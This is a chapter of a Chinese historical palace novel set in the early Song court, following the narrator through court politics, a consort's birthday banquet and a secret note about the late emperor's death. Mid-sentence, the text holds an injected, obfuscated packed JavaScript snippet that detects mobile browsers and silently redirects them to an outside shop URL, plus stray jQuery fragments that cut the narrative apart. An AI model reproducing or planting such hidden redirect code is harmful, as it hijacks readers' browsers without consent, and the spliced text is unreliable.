太平兴国二年二月,殿试开科取士,官家在讲武殿亲自覆试进士,取吕蒙正为状元,其他一百零八人进士及第。
而汴京最大的一件事,却是先皇心腹,前宰相赵普被罢相后,官家授了他太子少保的职位,留在了京师。
彼时赵昭在书房看齐王递来的信笺,正说的是这件事,还拿给我看。
我并不太懂这是什么职位,多少品阶,又有什么权利。
赵昭耐心地给我讲:“宰相是实权职位,太子少保是荣衔,与少师、少傅合称东宫三少,品阶是从一品,但是官家这样封赵公,显然是一点面子也没给。”
自乾德到开宝年间,赵普在宰相的位置上坐了十年,既是宰相又是独相,是名副其实的一人之下万人之上。
赵普给先皇当了一辈子的心腹,没想到一朝换了皇帝,他受此蹉跎之事。
我问赵昭:“干脆一点免了官让他回家不行吗,反正年纪也大了。”
赵昭闻言,淡声笑笑:“阿玉若当了皇帝肯定是个无情的君主。”
我扬了扬眉,听他接下来的话,却见赵昭眸色沉沉:“如今朝中半数官员均出自赵公门下,你这个时候让他告老还乡,恐怕不容易。”
而如今官家选择给赵普太子少保的虚衔,转手拿走了他河阳三城节度使的实权,明升暗降这样的棋,官家执得越来越熟练了。
朝堂上的事情,乏味枯燥。
若要说有趣的,唯有宫里徐瑟瑟过生辰这件事,有点意思。
二月初二,花朝节。
妍丽如芍药的女人,就是出生在这样的光景里。
当天徐瑟瑟穿了件妃红色的蜀锦宫衣,衣摆上用金线勾勒着满枝绽放的芍药花,纤细雪白的脖颈上带着红宝石掐金丝璎珞项圈,一双皓腕带着成对的金镯。
满宫的女人们一起来庆祝花朝节,和她的生辰。
宫宴在后苑,阳光热烈,春暖花开的好时候。
时宋人爱花,牡丹、酴醾、蔷薇、海棠、月季、香兰,乌泱泱的都搬进了后苑里,一刹那姹紫嫣红,争相斗艳。
“好看吗?”
一扭头,徐瑟瑟翩然而至。
我煞有介事的上下打量她,故作刻薄道:“什么花能比得上娘娘国色?”
徐瑟瑟闻言,佯怒过来摸我的痒,闹了片刻,她喘了口气,神情里带了点小心翼翼。
“怎么?不和我生气了?”
我转头去看开得正好的香兰,低声道:“你们大人的事情我不想掺和,二姐自己都不气,我气什么?”
“她怀了唐主子嗣,若是官家早一步知道,我可不敢想。”徐瑟瑟语气里满是委屈:“我呀,冒着恩宠帮你们,偏不落好。”
我沉默着不做声。
徐瑟瑟握了握我的胳膊,嗓音温和:“阿玉,我从没害过你。”
见我不信,她又留下一句话就走了。
她说,阿玉我把这颗真心牢牢地放在你这,你若是要丢就丢吧。
临近花朝节的活动之前,我寻了个空隙,把准备的生辰礼物,递给徐瑟瑟。
那里面是一对鸽子血一般红的宝石耳坠,如同她的人一样,热烈而又璀璨。
徐瑟瑟这才绽出了笑意,像我们初次见面一样。
她俯身抱住了我,耳边是她低低的嗓音:“谢谢你,阿玉。”
第一项玩乐是“挑菜节”,宫侍将写有菜名的罗帛小卷系上红丝线塞进斛内,每个在场的宫妃都选一个,由徐瑟瑟从野菜篮子里随便挑出来一个,谁的罗帛上写着正确的答案,谁就是夺了彩头。
官家虽然不在,但是为了贺徐瑟瑟的生辰,彩头是官家赏的一对碧玉镯子。
“阿玉,你拿的是什么?”
彼时徐瑟瑟夹了一根绿色大叶子的菜,我不认得,但是看了看手上字条写着“荠花”,横竖不像中了彩的。
我摊开手给她瞧,叹道:“看来没有办法从你这里讨东西了。”
徐瑟瑟见我的模样,瞬间笑开,那边有宫妃来认彩,正是官家的任才人,四皇子赵严的生母,父亲是朝中八品右拾遗,算不得显贵。
“多谢太妃娘娘。”任才人领了彩,低声恭敬道。
第二项是音律歌舞,偏我一点不会,徐瑟瑟给大家献了一曲琵琶的时候,惊艳四座。
我这才知晓,她的琵琶在五代里都赫赫有名。
“若要说琵琶,淑妃娘娘是宫里最好的。”
说话的人穿着一身水蓝色的宫衣,周身首饰不见奢华,瞧着不是高阶妃嫔。
她眉眼温柔,容色算不上倾城之姿,但也是很漂亮的,单是一双眼眸如同秋水般沉静,有几分像周薇。
绛春瞧见我狐疑的神色,低声给我解惑:“她原是旧唐的宫人臧氏,如今是宫里的御侍,住在昭宁宫偏殿,平日里不常见。”
后面徐瑟瑟一味的拉着我喝酒,宫里的妃嫔只有她一贯的好酒,不多时便醉了,我被她劝着,也有些不胜酒力了。
“阿玉,阿玉我真高兴。”徐瑟瑟嘴巴里混沌着,也听不出什么意思。
她醉得厉害,我正想着差宫侍去请轿子,给这个醉美人抬回惠宁宫去,刚刚抬手,就看见一脸肃肃的赵昌往这边走。他身后跟着若干宫侍,并几顶小轿。
他一摆手,宫侍各司其职,把微醺的妃嫔送回去,其中就包括彻底醉倒的徐瑟瑟。
“徐妃好酒,父亲差我来瞧瞧。”赵昌见此间事渐了,又转头问我:“你呢?还能走吗?”
我揉了揉额角,点点头:“我自己回去就是。”
我哪里敢麻烦这宫中小霸王,赶忙在他开口前,迅速溜走。
春三月,宫里进了一个新人,御龙直指挥使高琼的小女儿高氏,官家直接封了她为五品才人。
高氏是官家继位以来,入宫的第一位新人,也是官家心腹送入宫的第一个宫妃。
这无疑是官家稳定新世族的一步棋,毕竟他刚刚开科取士,新旧世族也都蠢蠢欲动了。
高氏入宫以来,阖宫拜访了一圈,除了在周薇那里碰了壁之外,都去了。
她来庆宁宫递名帖的时候是辰时,可我晚起惯了,平日里赵昭出去上朝也不会喊我,绛春自然更不敢来扰我清梦。
是以等我自然醒来的时候,已经是日上三竿了。
绛春打了帘子进来,阳光从帘子缝隙里洒进来,又被赶了出去。
“什么时辰了?”我迷迷糊糊,又道:“午间吃什么?”
绛春赶忙走近,俯身乖觉应道:“娘娘,午初了,传了山海兜、荔枝白腰子一些您喜欢的菜。”语气微微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790315|210361||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顿住:“但正厅来了客,从辰时等到现在了,是高才人。”
罪过罪过。
绛春一边服侍我换宫衣,一边说着:“奴婢劝了才人先回去,但她说不急,等一等也无碍。”
我心中腹诽,这高才人恐怕也想不到我能直接睡到午时吧。
正厅里,果然见到一个高挑纤瘦的美人,穿着淡青色的锦缎宫衣,衣摆袖口用银线滚了边,是普通的罗纱带了暗纹刺绣,不奢华却也不简单,发间搭配一对温润青玉发钗,颈上带着白宝石璎珞项圈,手上一对素圈金镯,不见任何纹饰。
彼时她正站着,仰头看着正厅挂着的画,是我闲下来的涂鸦之作,类似的画赵昭已经挂满了他的书房,这一幅是勉强能入眼的。
“是我起迟了,才人勿怪。”
我走进正厅,高氏回过神来,果然是一幅温软的美人面。
高氏给我行万福礼,嘴里恭恭敬敬的称呼我:“拜见太子妃娘娘。”
我实在有些过意不去,拉着她的手坐下来:“平日里庆宁宫没什么人来,你该先回去的,让你等的这样久,叫我不好意思了。”
高氏闻言,眸色里闪过一丝惊讶,她执起袖口掩唇淡笑:“娘娘言重了,入宫前母亲特地嘱咐我入了宫要各宫拜会一番。”
这大家闺秀的模样,让我连话也不敢大声说了。
我有点尴尬,遂问:“要不,在我这儿吃个午饭吧。”
高氏显然也很意外,她或许只是走个过场,没想到碰见我这个实惠人。
她眸底有些迟疑,但是想着弗了我的意不好,遂也应了。
绛春按照礼制传了午饭来,并给高氏多置了一副碗筷。
果然是大家闺秀,连吃饭都这样一小块一小口的。
我正感慨着,绛春出去取小厨房做的小吊梨汤,屋里便只剩下我和她。
高氏快速的从袖口里取了一张字条,塞进我的手里,然后对我眨了眨眼,眸子里满是促狭和兴味。
下一刻绛春掀开了帘子,走了进来。
我不动声色将字条收紧袖口里,暗地里想着,这高氏倒是有几分意思。
高氏并没有吃多少东西,便请辞离开了庆宁宫。
她走后,我问绛春:“她好像不喜欢咱们宫里的饭,没吃上几口就停了。”
绛春一边喊侍女来收拾,一边给我解惑:“汴京的贵女寻常一日两餐,巳时朝食、申时晚食,午间多吃点心,不用正餐。”
我这才恍然,因着我每日上午不吃,故而也是一日两餐。
又想到近日小肚子确实有些丰腴,我起了少吃点的心。
但是绛春听见我的想法,却道:“每日您的用餐情况殿下都要过问的,您月事那几日胃口不好没怎么吃东西,殿下还颇有些担心。”
好吧,为了赵昭少担心些,我决定还是顺其自然吧。
主要是宫里的饭着实好吃,我也舍不得元宝鸡、蟹酿橙、滴酥水晶鲙、爊肉、干脯......
晚间的时候赵昭回来,我把白日里高氏给的那张字条,拿给他看。
那里面是一份出宫记录的誊抄,写的是先皇暴毙的当夜,内侍官王继恩在下了钥之后的紧急出宫的记录。
他要去哪里,要去见谁?
他如今又在哪里?